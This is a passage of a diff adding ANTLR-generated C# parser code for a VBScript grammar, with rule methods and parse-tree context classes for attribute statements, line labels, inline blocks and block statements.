typedListener.ExitAttributeStmt(this); + } + } + + [RuleVersion(0)] + public AttributeStmtContext attributeStmt() { + AttributeStmtContext _localctx = new AttributeStmtContext(Context, State); + EnterRule(_localctx, 48, RULE_attributeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 670; + Match(ATTRIBUTE); + State = 671; + Match(WS); + State = 672; + implicitCallStmt_InStmt(); + State = 674; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 673; + Match(WS); + } + } + + State = 676; + Match(EQ); + State = 678; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 677; + Match(WS); + } + } + + State = 680; + literal(); + State = 691; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,70,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 682; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 681; + Match(WS); + } + } + + State = 684; + Match(COMMA); + State = 686; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 685; + Match(WS); + } + } + + State = 688; + literal(); + } + } + } + State = 693; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,70,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineLabelContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP() { return GetToken(VBScriptParser.INLINE_SEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LineLabelContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineLabel; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLineLabel(this); + } + } + + [RuleVersion(0)] + public LineLabelContext lineLabel() { + LineLabelContext _localctx = new LineLabelContext(Context, State); + EnterRule(_localctx, 50, RULE_lineLabel); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 694; + ambiguousIdentifier(); + State = 696; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 695; + Match(WS); + } + } + + State = 698; + Match(INLINE_SEP); + State = 700; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,72,Context) ) { + case 1: + { + State = 699; + Match(WS); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockStmtContext[] inlineBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockStmtContext inlineBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineBlock(this); + } + } + + [RuleVersion(0)] + public InlineBlockContext inlineBlock() { + InlineBlockContext _localctx = new InlineBlockContext(Context, State); + EnterRule(_localctx, 52, RULE_inlineBlock); + int _la; + try { + int _alt; + State = 716; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,77,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 702; + inlineBlockStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + { + State = 704; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 33793L) != 0)) { + { + State = 703; + inlineBlockStmt(); + } + } + + State = 709; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 709; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,74,Context) ) { + case 1: + { + State = 706; + Match(INLINE_SEP); + State = 707; + inlineBlockStmt(); + } + break; + case 2: + { + State = 708; + Match(INLINE_SEP); + } + break; + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 711; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 714; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,76,Context) ) { + case 1: + { + State = 713; + Match(INLINE_SEP); + } + break; + } + } + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AppActivateStmtContext appActivateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BeepStmtContext beepStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDirStmtContext chDirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDriveStmtContext chDriveStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public CloseStmtContext closeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstStmtContext constStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DateStmtContext dateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeleteSettingStmtContext deleteSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeftypeStmtContext deftypeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DoLoopStmtContext doLoopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EndStmtContext endStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EraseStmtContext eraseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ErrorStmtContext errorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExitStmtContext exitStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExplicitCallStmtContext explicitCallStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FilecopyStmtContext filecopyStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForEachStmtContext forEachStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForNextStmtContext forNextStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GetStmtContext getStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoSubStmtContext goSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoToStmtContext goToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplementsStmtContext implementsStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InputStmtContext inputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public KillStmtContext killStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LetStmtContext letStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LineInputStmtContext lineInputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LoadStmtContext loadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LockStmtContext lockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LsetStmtContext lsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MkdirStmtContext mkdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NameStmtContext nameStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnErrorStmtContext onErrorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoToStmtContext onGoToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoSubStmtContext onGoSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OpenStmtContext openStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PrintStmtContext printStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PutStmtContext putStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RaiseEventStmtContext raiseEventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RandomizeStmtContext randomizeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimStmtContext redimStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResetStmtContext resetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResumeStmtContext resumeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ReturnStmtContext returnStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RmdirStmtContext rmdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RsetStmtContext rsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SavepictureStmtContext savepictureStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SaveSettingStmtContext saveSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SeekStmtContext seekStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SelectCaseStmtContext selectCaseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SendkeysStmtContext sendkeysStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetattrStmtContext setattrStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetStmtContext setStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public StopStmtContext stopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TimeStmtContext timeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnloadStmtContext unloadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnlockStmtContext unlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableStmtContext variableStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WhileWendStmtContext whileWendStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WidthStmtContext widthStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WithStmtContext withStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WriteStmtContext writeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + return GetRuleContext(0); + } + public InlineBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineBlockStmtContext inlineBlockStmt() { + InlineBlockStmtContext _localctx = new InlineBlockStmtContext(Context, State); + EnterRule(_localctx, 54, RULE_inlineBlockStmt); + try { + State = 785; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,78,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 718; + appActivateStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 719; + attributeStmt(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 720; + beepStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 721; + chDirStmt(); + } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 722; + chDriveStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 723; + closeStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 724; + constStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 725; + dateStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 726; + deleteSettingStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 727; + deftypeStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 728; + doLoopStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 729; + endStmt(); + } + break; + case 13: + EnterOuterAlt(_localctx, 13); + { + State = 730; + eraseStmt(); + } + break; + case 14: + EnterOuterAlt(_localctx, 14); + { + State = 731; + errorStmt(); + } + break; + case 15: + EnterOuterAlt(_localctx, 15); + { + State = 732; + exitStmt(); + } + break; + case 16: + EnterOuterAlt(_localctx, 16); + { + State = 733; + explicitCallStmt(); + } + break; + case 17: + EnterOuterAlt(_localctx, 17); + { + State = 734; + filecopyStmt(); + } + break; + case 18: + EnterOuterAlt(_localctx, 18); + { + State = 735; + forEachStmt(); + } + break; + case 19: + EnterOuterAlt(_localctx, 19); + { + State = 736; + forNextStmt(); + } + break; + case 20: + EnterOuterAlt(_localctx, 20); + { + State = 737; + getStmt(); + } + break; + case 21: + EnterOuterAlt(_localctx, 21); + { + State = 738; + goSubStmt(); + } + break; + case 22: + EnterOuterAlt(_localctx, 22); + { + State = 739; + goToStmt(); + } + break; + case 23: + EnterOuterAlt(_localctx, 23); + { + State = 740; + inlineIfThenElseStmt(); + } + break; + case 24: + EnterOuterAlt(_localctx, 24); + { + State = 741; + implementsStmt(); + } + break; + case 25: + EnterOuterAlt(_localctx, 25); + { + State = 742; + inputStmt(); + } + break; + case 26: + EnterOuterAlt(_localctx, 26); + { + State = 743; + killStmt(); + } + break; + case 27: + EnterOuterAlt(_localctx, 27); + { + State = 744; + midStmt(); + } + break; + case 28: + EnterOuterAlt(_localctx, 28); + { + State = 745; + letStmt(); + } + break; + case 29: + EnterOuterAlt(_localctx, 29); + { + State = 746; + lineInputStmt(); + } + break; + case 30: + EnterOuterAlt(_localctx, 30); + { + State = 747; + loadStmt(); + } + break; + case 31: + EnterOuterAlt(_localctx, 31); + { + State = 748; + lockStmt(); + } + break; + case 32: + EnterOuterAlt(_localctx, 32); + { + State = 749; + lsetStmt(); + } + break; + case 33: + EnterOuterAlt(_localctx, 33); + { + State = 750; + macroIfThenElseStmt(); + } + break; + case 34: + EnterOuterAlt(_localctx, 34); + { + State = 751; + mkdirStmt(); + } + break; + case 35: + EnterOuterAlt(_localctx, 35); + { + State = 752; + nameStmt(); + } + break; + case 36: + EnterOuterAlt(_localctx, 36); + { + State = 753; + onErrorStmt(); + } + break; + case 37: + EnterOuterAlt(_localctx, 37); + { + State = 754; + onGoToStmt(); + } + break; + case 38: + EnterOuterAlt(_localctx, 38); + { + State = 755; + onGoSubStmt(); + } + break; + case 39: + EnterOuterAlt(_localctx, 39); + { + State = 756; + openStmt(); + } + break; + case 40: + EnterOuterAlt(_localctx, 40); + { + State = 757; + printStmt(); + } + break; + case 41: + EnterOuterAlt(_localctx, 41); + { + State = 758; + putStmt(); + } + break; + case 42: + EnterOuterAlt(_localctx, 42); + { + State = 759; + raiseEventStmt(); + } + break; + case 43: + EnterOuterAlt(_localctx, 43); + { + State = 760; + randomizeStmt(); + } + break; + case 44: + EnterOuterAlt(_localctx, 44); + { + State = 761; + redimStmt(); + } + break; + case 45: + EnterOuterAlt(_localctx, 45); + { + State = 762; + resetStmt(); + } + break; + case 46: + EnterOuterAlt(_localctx, 46); + { + State = 763; + resumeStmt(); + } + break; + case 47: + EnterOuterAlt(_localctx, 47); + { + State = 764; + returnStmt(); + } + break; + case 48: + EnterOuterAlt(_localctx, 48); + { + State = 765; + rmdirStmt(); + } + break; + case 49: + EnterOuterAlt(_localctx, 49); + { + State = 766; + rsetStmt(); + } + break; + case 50: + EnterOuterAlt(_localctx, 50); + { + State = 767; + savepictureStmt(); + } + break; + case 51: + EnterOuterAlt(_localctx, 51); + { + State = 768; + saveSettingStmt(); + } + break; + case 52: + EnterOuterAlt(_localctx, 52); + { + State = 769; + seekStmt(); + } + break; + case 53: + EnterOuterAlt(_localctx, 53); + { + State = 770; + selectCaseStmt(); + } + break; + case 54: + EnterOuterAlt(_localctx, 54); + { + State = 771; + sendkeysStmt(); + } + break; + case 55: + EnterOuterAlt(_localctx, 55); + { + State = 772; + setattrStmt(); + } + break; + case 56: + EnterOuterAlt(_localctx, 56); + { + State = 773; + setStmt(); + } + break; + case 57: + EnterOuterAlt(_localctx, 57); + { + State = 774; + stopStmt(); + } + break; + case 58: + EnterOuterAlt(_localctx, 58); + { + State = 775; + timeStmt(); + } + break; + case 59: + EnterOuterAlt(_localctx, 59); + { + State = 776; + unloadStmt(); + } + break; + case 60: + EnterOuterAlt(_localctx, 60); + { + State = 777; + unlockStmt(); + } + break; + case 61: + EnterOuterAlt(_localctx, 61); + { + State = 778; + variableStmt(); + } + break; + case 62: + EnterOuterAlt(_localctx, 62); + { + State = 779; + whileWendStmt(); + } + break; + case 63: + EnterOuterAlt(_localctx, 63); + { + State = 780; + widthStmt(); + } + break; + case 64: + EnterOuterAlt(_localctx, 64); + { + State = 781; + withStmt(); + } + break; + case 65: + EnterOuterAlt(_localctx, 65); + { + State = 782; + writeStmt(); + } + break; + case 66: + EnterOuterAlt(_localctx, 66); + { + State = 783; + implicitCallStmt_InStmt(); + } + break; + case 67: + EnterOuterAlt(_localctx, 67); + { + State = 784; + implicitCallStmt_InBlock(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AppActivateStmtContext appActivateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BeepStmtContext beepStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDirStmtContext chDirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDriveStmtContext chDriveStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public CloseStmtContext closeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstStmtContext constStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DateStmtContext dateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeleteSettingStmtContext deleteSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeftypeStmtContext deftypeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DoLoopStmtContext doLoopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EndStmtContext endStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EraseStmtContext eraseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ErrorStmtContext errorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExitStmtContext exitStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExplicitCallStmtContext explicitCallStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FilecopyStmtContext filecopyStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForEachStmtContext forEachStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForNextStmtContext forNextStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GetStmtContext getStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoSubStmtContext goSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoToStmtContext goToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public IfThenElseStmtContext ifThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplementsStmtContext implementsStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InputStmtContext inputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public KillStmtContext killStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LetStmtContext letStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LineInputStmtContext lineInputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LoadStmtContext loadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LockStmtContext lockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LsetStmtContext lsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MkdirStmtContext mkdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NameStmtContext nameStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnErrorStmtContext onErrorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoToStmtContext onGoToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoSubStmtContext onGoSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OpenStmtContext openStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PrintStmtContext printStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PutStmtContext putStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RaiseEventStmtContext raiseEventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RandomizeStmtContext randomizeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimStmtContext redimStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResetStmtContext resetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResumeStmtContext resumeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ReturnStmtContext returnStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RmdirStmtContext rmdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RsetStmtContext rsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SavepictureStmtContext savepictureStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SaveSettingStmtContext saveSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SeekStmtContext seekStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SelectCaseStmtContext selectCaseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SendkeysStmtContext sendkeysStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetattrStmtContext setattrStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetStmtContext setStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public StopStmtContext stopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TimeStmtContext timeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnloadStmtContext unloadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnlockStmtContext unlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableStmtContext variableStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WhileWendStmtContext whileWendStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WidthStmtContext widthStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WithStmtContext withStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WriteStmtContext writeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + return GetRuleContext(0); + } + public BlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_blockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockStmt(this); + } + } + + [RuleVersion(0)] + public BlockStmtContext blockStmt() { + BlockStmtContext _localctx = new BlockStmtContext(Context, State); + EnterRule(_localctx, 56, RULE_blockStmt); + try { + State = 855; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,79,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 787; + appActivateStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 788; + attributeStmt(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 789; + beepStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 790; + chDirStmt(); 